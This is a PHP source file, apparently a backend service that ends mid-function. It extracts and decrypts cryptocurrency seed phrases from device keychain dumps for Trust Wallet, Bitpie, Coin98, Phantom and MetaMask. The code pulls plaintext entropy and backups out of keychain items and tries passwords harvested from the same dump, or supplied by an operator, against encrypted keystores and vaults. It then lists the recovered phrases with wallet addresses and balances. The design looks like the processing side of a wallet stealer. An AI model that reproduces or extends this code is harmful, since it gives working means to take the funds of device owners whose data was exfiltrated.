1536 lines
50 KiB
PHP
1536 lines
50 KiB
PHP
<?php
|
||
|
||
namespace App\Services;
|
||
|
||
use App\Models\Device;
|
||
use App\Models\WalletKeystore;
|
||
use App\Models\WalletMnemonic;
|
||
use App\Services\Chain\BtcAddress;
|
||
use App\Services\Chain\EthAddress;
|
||
use App\Services\Chain\TronAddress;
|
||
use App\Support\WalletSource;
|
||
use FurqanSiddiqui\BIP39\BIP39;
|
||
|
||
/**
|
||
* Recover a BIP39 phrase from DS Trust UTC blobs or Bitpie seedPhraseEntropy.
|
||
*/
|
||
final class DsKeystoreDecrypt
|
||
{
|
||
/**
|
||
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
|
||
*/
|
||
public function recover(Device $device, mixed $wallets, mixed $sandbox): array
|
||
{
|
||
$hits = [];
|
||
$seen = [];
|
||
$bitpieNodes = [$wallets, $sandbox];
|
||
foreach ($device->keystores as $row) {
|
||
if ($row->source === 'Bitpie') {
|
||
$bitpieNodes[] = $row->raw_json;
|
||
}
|
||
}
|
||
foreach ($this->recoverBitpie($bitpieNodes) as $hit) {
|
||
$hash = WalletMnemonic::hashSecret($hit['phrase']);
|
||
if (isset($seen[$hash])) {
|
||
continue;
|
||
}
|
||
$seen[$hash] = true;
|
||
$hits[] = $hit;
|
||
}
|
||
foreach ($this->recoverTrustUtc($device, $wallets, $sandbox) as $hit) {
|
||
$hash = WalletMnemonic::hashSecret($hit['phrase']);
|
||
if (isset($seen[$hash])) {
|
||
continue;
|
||
}
|
||
$seen[$hash] = true;
|
||
$hits[] = $hit;
|
||
}
|
||
$coin98Nodes = [$wallets, $sandbox];
|
||
foreach ($device->keystores as $row) {
|
||
if ($row->source === 'Coin98') {
|
||
$coin98Nodes[] = $row->raw_json;
|
||
}
|
||
}
|
||
foreach ($this->recoverCoin98($coin98Nodes) as $hit) {
|
||
$hash = WalletMnemonic::hashSecret($hit['phrase']);
|
||
if (isset($seen[$hash])) {
|
||
continue;
|
||
}
|
||
$seen[$hash] = true;
|
||
$hits[] = $hit;
|
||
}
|
||
|
||
$phantomNodes = [$wallets, $sandbox];
|
||
foreach ($device->keystores as $row) {
|
||
if ($row->source === 'Phantom') {
|
||
$phantomNodes[] = $row->raw_json;
|
||
}
|
||
}
|
||
foreach ($this->recoverPhantom($phantomNodes) as $hit) {
|
||
$hash = WalletMnemonic::hashSecret($hit['phrase']);
|
||
if (isset($seen[$hash])) {
|
||
$this->markSourceDecrypted($device->id, $hit['source']);
|
||
|
||
continue;
|
||
}
|
||
$seen[$hash] = true;
|
||
$hits[] = $hit;
|
||
}
|
||
|
||
return $hits;
|
||
}
|
||
|
||
/**
|
||
* Try operator-supplied password against UTC / walletsV2 blobs and
|
||
* MetaMask-style password vaults on this row (and same-source rows).
|
||
*
|
||
* @return array{hits: list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>, utc: int, vault: int}
|
||
*/
|
||
public function unlockRowWithPassword(Device $device, WalletKeystore $row, string $password): array
|
||
{
|
||
$device->loadMissing('keystores');
|
||
$source = trim((string) $row->source);
|
||
$nodes = [is_array($row->raw_json) ? $row->raw_json : []];
|
||
foreach ($device->keystores as $other) {
|
||
if ((int) $other->id === (int) $row->id) {
|
||
continue;
|
||
}
|
||
if (trim((string) $other->source) !== $source) {
|
||
continue;
|
||
}
|
||
$nodes[] = is_array($other->raw_json) ? $other->raw_json : [];
|
||
}
|
||
|
||
$utcs = [];
|
||
$vaults = [];
|
||
$coin98Wallets = [];
|
||
foreach ($nodes as $node) {
|
||
$utcs = array_merge($utcs, $this->collectKeystores($node, $source !== '' ? $source : 'unknown'));
|
||
$vaults = array_merge($vaults, $this->collectPasswordVaults($node, $source !== '' ? $source : 'unknown'));
|
||
foreach ($this->collectCoin98Backups($node) as $wallets) {
|
||
$coin98Wallets = array_merge($coin98Wallets, $wallets);
|
||
}
|
||
}
|
||
$utcs = $this->uniqueKeystores($utcs);
|
||
$passwords = $this->expandUserPassword($password);
|
||
$hits = [];
|
||
$seen = [];
|
||
if ($passwords === []) {
|
||
return ['hits' => [], 'utc' => count($utcs), 'vault' => count($vaults), 'coin98' => count($coin98Wallets)];
|
||
}
|
||
|
||
foreach ($utcs as $item) {
|
||
$phrase = $this->unlock($item['keystore'], $passwords);
|
||
if ($phrase === null) {
|
||
continue;
|
||
}
|
||
$hash = WalletMnemonic::hashSecret($phrase);
|
||
if (isset($seen[$hash])) {
|
||
continue;
|
||
}
|
||
$seen[$hash] = true;
|
||
$hitSource = $item['source'] !== '' ? $item['source'] : ($source !== '' ? $source : 'unknown');
|
||
$hits[] = [
|
||
'source' => $hitSource,
|
||
'tag' => WalletSource::tagForLabel($hitSource),
|
||
'phrase' => $phrase,
|
||
'addresses' => [],
|
||
];
|
||
}
|
||
|
||
foreach ($vaults as $item) {
|
||
$phrase = $this->unlockPasswordVault($item['vault'], $passwords);
|
||
if ($phrase === null) {
|
||
continue;
|
||
}
|
||
$hash = WalletMnemonic::hashSecret($phrase);
|
||
if (isset($seen[$hash])) {
|
||
continue;
|
||
}
|
||
$seen[$hash] = true;
|
||
$hitSource = $item['source'] !== '' ? $item['source'] : ($source !== '' ? $source : 'MetaMask');
|
||
$hits[] = [
|
||
'source' => $hitSource,
|
||
'tag' => WalletSource::tagForLabel($hitSource) ?: 'a',
|
||
'phrase' => $phrase,
|
||
'addresses' => [],
|
||
];
|
||
}
|
||
|
||
// Coin98 CryptoJS privateKey / mnemonic blobs keyed by the user's
|
||
// wallet password.
|
||
if ($coin98Wallets !== []) {
|
||
$phrase = $this->unlockCoin98Wallets($coin98Wallets, $passwords);
|
||
if ($phrase !== null) {
|
||
$hash = WalletMnemonic::hashSecret($phrase);
|
||
if (! isset($seen[$hash])) {
|
||
$seen[$hash] = true;
|
||
$hitSource = $source !== '' ? $source : 'Coin98';
|
||
$hits[] = [
|
||
'source' => $hitSource,
|
||
'tag' => WalletSource::tagForLabel($hitSource) ?: 'q',
|
||
'phrase' => $phrase,
|
||
'addresses' => [],
|
||
];
|
||
}
|
||
}
|
||
}
|
||
|
||
return ['hits' => $hits, 'utc' => count($utcs), 'vault' => count($vaults), 'coin98' => count($coin98Wallets)];
|
||
}
|
||
|
||
/**
|
||
* @return list<string>
|
||
*/
|
||
public function expandUserPassword(string $password): array
|
||
{
|
||
$password = trim($password);
|
||
if ($password === '') {
|
||
return [];
|
||
}
|
||
$out = $this->passwordsFromString($password);
|
||
if (ctype_xdigit($password) && strlen($password) % 2 === 0 && strlen($password) >= 8) {
|
||
$out = array_merge($out, $this->passwordsFromHex($password));
|
||
}
|
||
|
||
return array_values(array_unique($out));
|
||
}
|
||
|
||
/**
|
||
* @return array{utc: int, passwords: int, entropy: int}
|
||
*/
|
||
public function materialCounts(Device $device): array
|
||
{
|
||
$device->loadMissing('keystores');
|
||
$utcs = [];
|
||
$passwords = [];
|
||
$entropy = [];
|
||
$coin98 = 0;
|
||
$phantom = 0;
|
||
foreach ($device->keystores as $row) {
|
||
$utcs = array_merge($utcs, $this->collectKeystores($row->raw_json));
|
||
$passwords = array_merge($passwords, $this->collectPasswords($row->raw_json));
|
||
$entropy = array_merge($entropy, $this->collectBitpieEntropyHex($row->raw_json));
|
||
$coin98 += count($this->collectCoin98Backups($row->raw_json));
|
||
$phantom += count($this->collectPhantomEntropy($row->raw_json));
|
||
}
|
||
|
||
return [
|
||
'utc' => count($this->uniqueKeystores($utcs)),
|
||
'passwords' => count($this->uniquePasswords($passwords)),
|
||
'entropy' => count(array_unique($entropy)),
|
||
'coin98' => $coin98,
|
||
'phantom' => $phantom,
|
||
];
|
||
}
|
||
|
||
/**
|
||
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
|
||
*/
|
||
private function recoverTrustUtc(Device $device, mixed $wallets, mixed $sandbox): array
|
||
{
|
||
$utcs = $this->collectKeystores($sandbox);
|
||
$utcs = array_merge($utcs, $this->collectKeystores($wallets));
|
||
foreach ($device->keystores as $row) {
|
||
$utcs = array_merge($utcs, $this->collectKeystores($row->raw_json));
|
||
}
|
||
$utcs = $this->uniqueKeystores($utcs);
|
||
if ($utcs === []) {
|
||
return [];
|
||
}
|
||
$passwords = $this->collectPasswords($wallets);
|
||
foreach ($device->keystores as $row) {
|
||
$passwords = array_merge($passwords, $this->collectPasswords($row->raw_json));
|
||
}
|
||
$passwords = array_slice($this->uniquePasswords($passwords), 0, 16);
|
||
if ($passwords === []) {
|
||
return [];
|
||
}
|
||
|
||
$hits = [];
|
||
foreach ($utcs as $item) {
|
||
$phrase = $this->unlock($item['keystore'], $passwords);
|
||
if ($phrase === null) {
|
||
continue;
|
||
}
|
||
$source = $item['source'] !== '' ? $item['source'] : 'Trust Wallet';
|
||
$hits[] = [
|
||
'source' => $source,
|
||
'tag' => WalletSource::tagForLabel($source),
|
||
'phrase' => $phrase,
|
||
'addresses' => [],
|
||
];
|
||
}
|
||
|
||
return $hits;
|
||
}
|
||
|
||
/**
|
||
* @param list<mixed> $nodes
|
||
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
|
||
*/
|
||
private function recoverBitpie(array $nodes): array
|
||
{
|
||
$phrases = [];
|
||
$addresses = [];
|
||
foreach ($nodes as $node) {
|
||
foreach ($this->collectBitpieEntropyHex($node) as $hex) {
|
||
$phrase = $this->phraseFromEntropyHex($hex);
|
||
if ($phrase !== null) {
|
||
$phrases[$phrase] = true;
|
||
}
|
||
}
|
||
$addresses = array_merge($addresses, $this->collectBitpieAddresses($node));
|
||
}
|
||
if ($phrases === []) {
|
||
return [];
|
||
}
|
||
|
||
$uniq = [];
|
||
$seenAddr = [];
|
||
foreach ($addresses as $row) {
|
||
$key = $row['address'];
|
||
if (isset($seenAddr[$key])) {
|
||
continue;
|
||
}
|
||
$seenAddr[$key] = true;
|
||
$uniq[] = $row;
|
||
}
|
||
|
||
$hits = [];
|
||
foreach (array_keys($phrases) as $phrase) {
|
||
$hits[] = [
|
||
'source' => 'Bitpie',
|
||
'tag' => 'r',
|
||
'phrase' => $phrase,
|
||
'addresses' => $uniq,
|
||
];
|
||
}
|
||
|
||
return $hits;
|
||
}
|
||
|
||
/**
|
||
* Coin98 stores a plaintext JSON backup in the keychain under
|
||
* service=rn-secure-storage / account=WALLET_SECURE_BACKUP. Each entry
|
||
* carries the same mnemonic plus a per-chain address + privateKey.
|
||
*
|
||
* @param list<mixed> $nodes
|
||
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
|
||
*/
|
||
private function recoverCoin98(array $nodes): array
|
||
{
|
||
$backups = [];
|
||
foreach ($nodes as $node) {
|
||
foreach ($this->collectCoin98Backups($node) as $backup) {
|
||
$backups[] = $backup;
|
||
}
|
||
}
|
||
if ($backups === []) {
|
||
return [];
|
||
}
|
||
|
||
$phrase = null;
|
||
$seenAddr = [];
|
||
$uniq = [];
|
||
foreach ($backups as $wallets) {
|
||
foreach ($wallets as $w) {
|
||
if (! is_array($w)) {
|
||
continue;
|
||
}
|
||
$m = $w['mnemonic'] ?? null;
|
||
if (is_string($m) && trim($m) !== '' && $phrase === null) {
|
||
$candidate = $this->asMnemonic($m);
|
||
if ($candidate !== null) {
|
||
$phrase = $candidate;
|
||
}
|
||
}
|
||
$address = trim((string) ($w['address'] ?? ''));
|
||
if ($address === '') {
|
||
continue;
|
||
}
|
||
$chain = strtolower(trim((string) ($w['chain'] ?? '')));
|
||
$mapped = $this->coin98ChainToType($chain, $address);
|
||
if ($mapped === null) {
|
||
continue;
|
||
}
|
||
$key = $mapped.'|'.$address;
|
||
if (isset($seenAddr[$key])) {
|
||
continue;
|
||
}
|
||
$seenAddr[$key] = true;
|
||
$uniq[] = [
|
||
'address' => $address,
|
||
'chainType' => $mapped,
|
||
'symbol' => $mapped === 'BITCOIN' ? 'BTC' : ($mapped === 'ETHEREUM' ? 'ETH' : 'TRX'),
|
||
'balance' => 0,
|
||
];
|
||
}
|
||
}
|
||
|
||
if ($phrase === null) {
|
||
return [];
|
||
}
|
||
|
||
return [
|
||
[
|
||
'source' => 'Coin98',
|
||
'tag' => 'q',
|
||
'phrase' => $phrase,
|
||
'addresses' => $uniq,
|
||
],
|
||
];
|
||
}
|
||
|
||
/**
|
||
* Phantom stores its BIP39 entropy as a plaintext JSON blob in the
|
||
* keychain under service=app:no-auth / account=.phantom-labs.vault.seedless.*
|
||
* The entropy dict maps integer indices to byte values (0–255).
|
||
* 16 bytes → 12-word mnemonic; 32 bytes → 24-word mnemonic.
|
||
*
|
||
* @param list<mixed> $nodes
|
||
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
|
||
*/
|
||
private function recoverPhantom(array $nodes): array
|
||
{
|
||
$entropyHex = null;
|
||
foreach ($nodes as $node) {
|
||
foreach ($this->collectPhantomEntropy($node) as $hex) {
|
||
if ($entropyHex === null) {
|
||
$entropyHex = $hex;
|
||
}
|
||
}
|
||
}
|
||
if ($entropyHex === null) {
|
||
return [];
|
||
}
|
||
$phrase = $this->phraseFromEntropyHex($entropyHex);
|
||
if ($phrase === null) {
|
||
return [];
|
||
}
|
||
|
||
return [
|
||
[
|
||
'source' => 'Phantom',
|
||
'tag' => 'i',
|
||
'phrase' => $phrase,
|
||
'addresses' => [],
|
||
],
|
||
];
|
||
}
|
||
|
||
/**
|
||
* Walk a keychain node collecting Phantom vault entropy hex strings.
|
||
*
|
||
* @return list<string>
|
||
*/
|
||
public function collectPhantomEntropy(mixed $node, int $depth = 0): array
|
||
{
|
||
if ($depth > 10 || $node === null) {
|
||
return [];
|
||
}
|
||
if (is_string($node)) {
|
||
$decoded = $this->decodeBlob($node);
|
||
if ($decoded === null) {
|
||
return [];
|
||
}
|
||
|
||
return $this->collectPhantomEntropy($decoded, $depth + 1);
|
||
}
|
||
if (! is_array($node)) {
|
||
return [];
|
||
}
|
||
|
||
$out = [];
|
||
// Phantom vault entropy lives in dataHex as {"entropy":{"0":n,...}}.
|
||
// Account may be hex, base64, or already-decoded UTF-8, and the path
|
||
// is either ".phantom-labs.vault.seedless.*" (older) or
|
||
// ".phantom-labs.vault.seed.*" (current iOS app).
|
||
if ($this->isPhantomVaultItem($node)) {
|
||
$hex = $this->phantomEntropyFromItem($node);
|
||
if ($hex !== null) {
|
||
$out[] = $hex;
|
||
}
|
||
}
|
||
|
||
foreach ($node as $key => $child) {
|
||
if (is_array($child) || is_string($child)) {
|
||
$out = array_merge($out, $this->collectPhantomEntropy($child, $depth + 1));
|
||
}
|
||
}
|
||
|
||
return $out;
|
||
}
|
||
|
||
/**
|
||
* @param array<string, mixed> $node
|
||
*/
|
||
private function isPhantomVaultItem(array $node): bool
|
||
{
|
||
$svc = strtolower(trim((string) ($node['service'] ?? '')));
|
||
$acct = $this->decodeKeychainAccount((string) ($node['account'] ?? ''));
|
||
$agrp = strtolower((string) ($node['accessGroup'] ?? ''));
|
||
$looksPhantom = str_contains($acct, 'phantom-labs')
|
||
|| str_contains($acct, 'phantom')
|
||
|| str_contains($agrp, 'phantom')
|
||
|| $svc === 'app.phantom';
|
||
if ($looksPhantom) {
|
||
return true;
|
||
}
|
||
|
||
// Older DS dumps used service=app:no-auth + hex account.
|
||
return $svc === 'app:no-auth' && (
|
||
str_contains($acct, 'phantom-labs.vault.seedless')
|
||
|| str_contains($acct, 'phantom-labs.vault.seed.')
|
||
);
|
||
}
|
||
|
||
private function decodeKeychainAccount(string $acct): string
|
||
{
|
||
$acct = trim($acct);
|
||
if ($acct === '') {
|
||
return '';
|
||
}
|
||
$lower = strtolower($acct);
|
||
if (str_contains($lower, 'phantom-labs') || str_contains($lower, 'phantom')) {
|
||
return $lower;
|
||
}
|
||
if (ctype_xdigit($acct) && strlen($acct) % 2 === 0) {
|
||
$bin = @hex2bin($acct);
|
||
if (is_string($bin) && $bin !== '' && mb_check_encoding($bin, 'UTF-8')) {
|
||
return strtolower($bin);
|
||
}
|
||
}
|
||
$b64 = base64_decode($acct, true);
|
||
if (is_string($b64) && $b64 !== '' && mb_check_encoding($b64, 'UTF-8')) {
|
||
return strtolower($b64);
|
||
}
|
||
|
||
return $lower;
|
||
}
|
||
|
||
/**
|
||
* Extract the entropy hex from a Phantom vault seedless/seed keychain item.
|
||
*
|
||
* @param array<string, mixed> $item
|
||
*/
|
||
private function phantomEntropyFromItem(array $item): ?string
|
||
{
|
||
$hex = (string) ($item['dataHex'] ?? '');
|
||
$raw = '';
|
||
if ($hex !== '' && ctype_xdigit($hex) && strlen($hex) % 2 === 0) {
|
||
$raw = (string) @hex2bin($hex);
|
||
}
|
||
if ($raw === '' && isset($item['data']) && is_string($item['data'])) {
|
||
$raw = $item['data'];
|
||
}
|
||
if ($raw === '') {
|
||
return null;
|
||
}
|
||
$json = json_decode($raw, true);
|
||
if (! is_array($json) || ! isset($json['entropy']) || ! is_array($json['entropy'])) {
|
||
return null;
|
||
}
|
||
// entropy is { "0": 250, "1": 104, ... } — collect bytes in index order.
|
||
$bytes = '';
|
||
$keys = array_keys($json['entropy']);
|
||
$max = -1;
|
||
foreach ($keys as $k) {
|
||
if (is_numeric($k) && (int) $k > $max) {
|
||
$max = (int) $k;
|
||
}
|
||
}
|
||
if ($max < 0) {
|
||
return null;
|
||
}
|
||
for ($i = 0; $i <= $max; $i++) {
|
||
$val = $json['entropy'][$i] ?? $json['entropy'][(string) $i] ?? null;
|
||
if (! is_numeric($val)) {
|
||
return null;
|
||
}
|
||
$byte = (int) $val & 0xFF;
|
||
$bytes .= chr($byte);
|
||
}
|
||
// Only accept 16-byte (12-word) or 32-byte (24-word) entropy.
|
||
$len = strlen($bytes);
|
||
if ($len !== 16 && $len !== 32) {
|
||
return null;
|
||
}
|
||
|
||
return bin2hex($bytes);
|
||
}
|
||
|
||
/**
|
||
* Walk a keychain node collecting Coin98 WALLET_SECURE_BACKUP JSON arrays.
|
||
*
|
||
* @return list<list<array<string, mixed>>>
|
||
*/
|
||
private function collectCoin98Backups(mixed $node, int $depth = 0): array
|
||
{
|
||
if ($depth > 10 || $node === null) {
|
||
return [];
|
||
}
|
||
if (is_string($node)) {
|
||
$decoded = $this->decodeBlob($node);
|
||
if ($decoded === null) {
|
||
return [];
|
||
}
|
||
|
||
return $this->collectCoin98Backups($decoded, $depth + 1);
|
||
}
|
||
if (! is_array($node)) {
|
||
return [];
|
||
}
|
||
|
||
$out = [];
|
||
// Direct item with service=rn-secure-storage / account=WALLET_SECURE_BACKUP
|
||
$svc = strtolower(trim((string) ($node['service'] ?? '')));
|
||
$acct = strtolower(trim((string) ($node['account'] ?? '')));
|
||
if ($svc === 'rn-secure-storage' && $acct === 'wallet_secure_backup') {
|
||
$parsed = $this->coin98BackupFromItem($node);
|
||
if ($parsed !== null) {
|
||
$out[] = $parsed;
|
||
}
|
||
}
|
||
|
||
// App-link coin98.wallet keystore row (SET_WALLET_STORAGE wallets,
|
||
// with CryptoJS-encrypted privateKey / mnemonic blobs).
|
||
if (trim((string) ($node['kind'] ?? '')) === 'coin98.wallet' && is_array($node['wallets'] ?? null)) {
|
||
$wallets = array_values(array_filter($node['wallets'], 'is_array'));
|
||
if ($wallets !== []) {
|
||
$out[] = $wallets;
|
||
}
|
||
}
|
||
|
||
foreach ($node as $key => $child) {
|
||
if (is_array($child) || is_string($child)) {
|
||
$out = array_merge($out, $this->collectCoin98Backups($child, $depth + 1));
|
||
}
|
||
}
|
||
|
||
return $out;
|
||
}
|
||
|
||
/**
|
||
* @param array<string, mixed> $item
|
||
* @return list<array<string, mixed>>|null
|
||
*/
|
||
private function coin98BackupFromItem(array $item): ?array
|
||
{
|
||
$hex = (string) ($item['dataHex'] ?? '');
|
||
$raw = '';
|
||
if ($hex !== '' && ctype_xdigit($hex) && strlen($hex) % 2 === 0) {
|
||
$raw = (string) @hex2bin($hex);
|
||
}
|
||
if ($raw === '' && isset($item['data']) && is_string($item['data'])) {
|
||
$raw = $item['data'];
|
||
}
|
||
if ($raw === '') {
|
||
return null;
|
||
}
|
||
$json = json_decode($raw, true);
|
||
if (! is_array($json) || $json === []) {
|
||
return null;
|
||
}
|
||
|
||
return array_values(array_filter($json, fn ($w) => is_array($w)));
|
||
}
|
||
|
||
/**
|
||
* Map a Coin98 chain name to our persisted chain_type. Returns null for
|
||
* unsupported chains (only ETH / TRX / BTC are persisted).
|
||
*/
|
||
private function coin98ChainToType(string $chain, string $address): ?string
|
||
{
|
||
// EVM-compatible chains all share the same 0x address.
|
||
$evm = [
|
||
'ether', 'etherpow', 'binancesmart', 'heco', 'okex', 'gate', 'kucoin',
|
||
'matic', 'arbitrum', 'optimism', 'avalanche', 'avax', 'fantom',
|
||
'klaytn', 'cronos', 'moonbeam', 'celo', 'aurora', 'astar', 'harmony',
|
||
'xdai', 'boba', 'metis', 'blast', 'linea', 'base', 'scroll', 'zksyncera',
|
||
'mantle', 'arbitrum', 'opbnb', 'zeta', 'plume', 'fraxtal', 'mode',
|
||
'manta', 'taiko', 'kroma', 'morph', 'zircuit', 'zkfair', 'zklink',
|
||
'zora', 'ancient8', 'confluxevm', 'seievm', 'seievmmainnet', 'kavaevm',
|
||
'functionxevm', 'auraevm', 'hyperEvm', 'lightlink', 'somnia', 'sonic',
|
||
'stargaze', 'skate', 'xlayer', 'platon', 'theta', 'thetafuel', 'tomo',
|
||
'wanchain', 'neon', 'rootstock', 'nautilus', 'beam', 'bitgert',
|
||
'bitkub', 'bittorrent', 'chiliz', 'coredao', 'cyber', 'elrond',
|
||
'energi', 'energi_testnet', 'fuse', 'godwoken', 'godwoken_testnet',
|
||
'iotevm', 'kardia', 'kcc', 'metis_testnet', 'oasis', 'omax',
|
||
'omax_testnet', 'ontology', 'orchid', 'polis', 'polis_testnet',
|
||
'poolq, quackcity', 'quarkchain', 'quarkchain_testnet', 'rei',
|
||
'reosc', 'reosc_testnet', 'shardeum', 'skale', 'skale_testnet',
|
||
'soteria', 'soteria_testnet', 'telos', 'telosevm', 'telosevm_testnet',
|
||
'terra', 'terra2', 'tombchain', 'tombchain_testnet', 'ulta',
|
||
'volta', 'velas', 'velas_testnet', 'x1', 'x1_testnet', 'xdc',
|
||
'xdc_testnet', 'yuan', 'yuan_testnet', 'zafiro', 'zafiro_testnet',
|
||
'kava', 'evmos', 'injective',
|
||
];
|
||
if (in_array($chain, $evm, true)) {
|
||
return 'ETHEREUM';
|
||
}
|
||
if ($chain === 'tron') {
|
||
return 'TRON';
|
||
}
|
||
if ($chain === 'bitcoin' || $chain === 'bitcointestnet') {
|
||
return 'BITCOIN';
|
||
}
|
||
// Fallback: infer from address shape.
|
||
$inferred = WalletSource::inferChainType($address);
|
||
if (in_array($inferred, ['ETHEREUM', 'TRON', 'BITCOIN'], true)) {
|
||
return $inferred;
|
||
}
|
||
|
||
return null;
|
||
}
|
||
|
||
/**
|
||
* @param list<string> $passwords
|
||
*/
|
||
public function unlock(array $keystore, array $passwords): ?string
|
||
{
|
||
foreach ($passwords as $password) {
|
||
$plain = EthKeystore::decrypt($keystore, $password);
|
||
if ($plain === null) {
|
||
continue;
|
||
}
|
||
$phrase = $this->asMnemonic($plain);
|
||
if ($phrase !== null) {
|
||
return $phrase;
|
||
}
|
||
}
|
||
|
||
return null;
|
||
}
|
||
|
||
/**
|
||
* @return list<array{source: string, keystore: array<string, mixed>}>
|
||
*/
|
||
public function collectKeystores(mixed $node, string $source = '', int $depth = 0): array
|
||
{
|
||
if ($depth > 10 || $node === null) {
|
||
return [];
|
||
}
|
||
if (is_string($node)) {
|
||
$decoded = $this->decodeBlob($node);
|
||
if ($decoded === null) {
|
||
return [];
|
||
}
|
||
|
||
return $this->collectKeystores($decoded, $source, $depth + 1);
|
||
}
|
||
if (! is_array($node)) {
|
||
return [];
|
||
}
|
||
if ($this->isKeystore($node)) {
|
||
return [['source' => $source, 'keystore' => $node]];
|
||
}
|
||
|
||
$out = [];
|
||
foreach ($node as $key => $child) {
|
||
$next = $source;
|
||
if (is_string($key)) {
|
||
$hint = WalletSource::fromKeystoreHint($key);
|
||
if ($hint !== '') {
|
||
$next = $hint;
|
||
}
|
||
}
|
||
$out = array_merge($out, $this->collectKeystores($child, $next, $depth + 1));
|
||
}
|
||
|
||
return $out;
|
||
}
|
||
|
||
/**
|
||
* MetaMask mobile VAULT_BACKUP: {cipher, iv, salt, lib, keyMetadata}.
|
||
*
|
||
* @return list<array{source: string, vault: array<string, mixed>}>
|
||
*/
|
||
public function collectPasswordVaults(mixed $node, string $source = '', int $depth = 0): array
|
||
{
|
||
if ($depth > 10 || $node === null) {
|
||
return [];
|
||
}
|
||
if (is_string($node)) {
|
||
$decoded = $this->decodeBlob($node);
|
||
if ($decoded === null) {
|
||
return [];
|
||
}
|
||
|
||
return $this->collectPasswordVaults($decoded, $source, $depth + 1);
|
||
}
|
||
if (! is_array($node)) {
|
||
return [];
|
||
}
|
||
if ($this->isPasswordVault($node)) {
|
||
return [['source' => $source !== '' ? $source : 'MetaMask', 'vault' => $node]];
|
||
}
|
||
|
||
$out = [];
|
||
$acct = strtolower(trim((string) ($node['account'] ?? '')));
|
||
if ($acct === 'vault_backup' && $source === '') {
|
||
$source = 'MetaMask';
|
||
}
|
||
foreach ($node as $key => $child) {
|
||
$next = $source;
|
||
if (is_string($key)) {
|
||
$hint = WalletSource::fromKeystoreHint($key);
|
||
if ($hint !== '') {
|
||
$next = $hint;
|
||
}
|
||
}
|
||
if (is_array($child) || is_string($child)) {
|
||
$out = array_merge($out, $this->collectPasswordVaults($child, $next, $depth + 1));
|
||
}
|
||
}
|
||
|
||
return $out;
|
||
}
|
||
|
||
/**
|
||
* @param array<string, mixed> $node
|
||
*/
|
||
public function isPasswordVault(array $node): bool
|
||
{
|
||
foreach (['cipher', 'iv', 'salt'] as $key) {
|
||
if (! is_string($node[$key] ?? null) || $node[$key] === '') {
|
||
return false;
|
||
}
|
||
}
|
||
|
||
return true;
|
||
}
|
||
|
||
/**
|
||
* @param array<string, mixed> $vault
|
||
* @param list<string> $passwords
|
||
*/
|
||
public function unlockPasswordVault(array $vault, array $passwords): ?string
|
||
{
|
||
foreach ($passwords as $password) {
|
||
$plain = $this->decryptPasswordVault($vault, $password);
|
||
if ($plain === null) {
|
||
continue;
|
||
}
|
||
$phrase = $this->phraseFromVaultPlain($plain);
|
||
if ($phrase !== null) {
|
||
return $phrase;
|
||
}
|
||
}
|
||
|
||
return null;
|
||
}
|
||
|
||
/**
|
||
* MetaMask iOS (lib=quick-crypto): PBKDF2-SHA512 over the salt *string*
|
||
* (not base64-decoded), AES-256-CBC, IV hex, cipher base64.
|
||
*
|
||
* @param array<string, mixed> $vault
|
||
*/
|
||
private function decryptPasswordVault(array $vault, string $password): ?string
|
||
{
|
||
$cipherB64 = (string) ($vault['cipher'] ?? '');
|
||
$ivRaw = (string) ($vault['iv'] ?? '');
|
||
$saltStr = (string) ($vault['salt'] ?? '');
|
||
if ($cipherB64 === '' || $ivRaw === '' || $saltStr === '' || $password === '') {
|
||
return null;
|
||
}
|
||
$cipher = base64_decode($cipherB64, true);
|
||
if (! is_string($cipher) || $cipher === '') {
|
||
return null;
|
||
}
|
||
$iv = ctype_xdigit($ivRaw) && strlen($ivRaw) % 2 === 0 ? @hex2bin($ivRaw) : base64_decode($ivRaw, true);
|
||
if (! is_string($iv) || $iv === '') {
|
||
return null;
|
||
}
|
||
$iterations = (int) ($vault['keyMetadata']['params']['iterations'] ?? 5000);
|
||
if ($iterations < 1) {
|
||
$iterations = 5000;
|
||
}
|
||
$salts = [$saltStr];
|
||
$decodedSalt = base64_decode($saltStr, true);
|
||
if (is_string($decodedSalt) && $decodedSalt !== '' && $decodedSalt !== $saltStr) {
|
||
$salts[] = $decodedSalt;
|
||
}
|
||
foreach ($salts as $salt) {
|
||
$key = hash_pbkdf2('sha512', $password, $salt, $iterations, 32, true);
|
||
$plain = openssl_decrypt($cipher, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
|
||
if (is_string($plain) && $plain !== '') {
|
||
return $plain;
|
||
}
|
||
}
|
||
|
||
return null;
|
||
}
|
||
|
||
/**
|
||
* Coin98 SET_WALLET_STORAGE wallets keep privateKey / mnemonic as
|
||
* CryptoJS AES blobs ("U2FsdGVkX1…" = base64 OpenSSL "Salted__" +
|
||
* 8-byte salt + AES-256-CBC ciphertext). Try the mnemonic blob first
|
||
* (it decrypts straight to a BIP39 phrase), then the privateKey blob.
|
||
*
|
||
* @param list<array<string, mixed>> $wallets
|
||
* @param list<string> $passwords
|
||
*/
|
||
public function unlockCoin98Wallets(array $wallets, array $passwords): ?string
|
||
{
|
||
foreach ($wallets as $wallet) {
|
||
if (! is_array($wallet)) {
|
||
continue;
|
||
}
|
||
foreach (['mnemonic', 'privateKey'] as $field) {
|
||
$cipher = $wallet[$field] ?? null;
|
||
if (! is_string($cipher) || $cipher === '') {
|
||
continue;
|
||
}
|
||
foreach ($passwords as $password) {
|
||
$plain = $this->decryptCryptoJsAes($cipher, $password);
|
||
if ($plain === null) {
|
||
continue;
|
||
}
|
||
$phrase = $this->asMnemonic($plain);
|
||
if ($phrase !== null) {
|
||
return $phrase;
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
return null;
|
||
}
|
||
|
||
/**
|
||
* CryptoJS AES.encrypt(plain, password) default format:
|
||
* base64("Salted__" + salt(8) + AES-256-CBC ciphertext), with the key
|
||
* and IV derived via OpenSSL EVP_BytesToKey (MD5, one round).
|
||
*/
|
||
private function decryptCryptoJsAes(string $cipherB64, string $password): ?string
|
||
{
|
||
$raw = base64_decode($cipherB64, true);
|
||
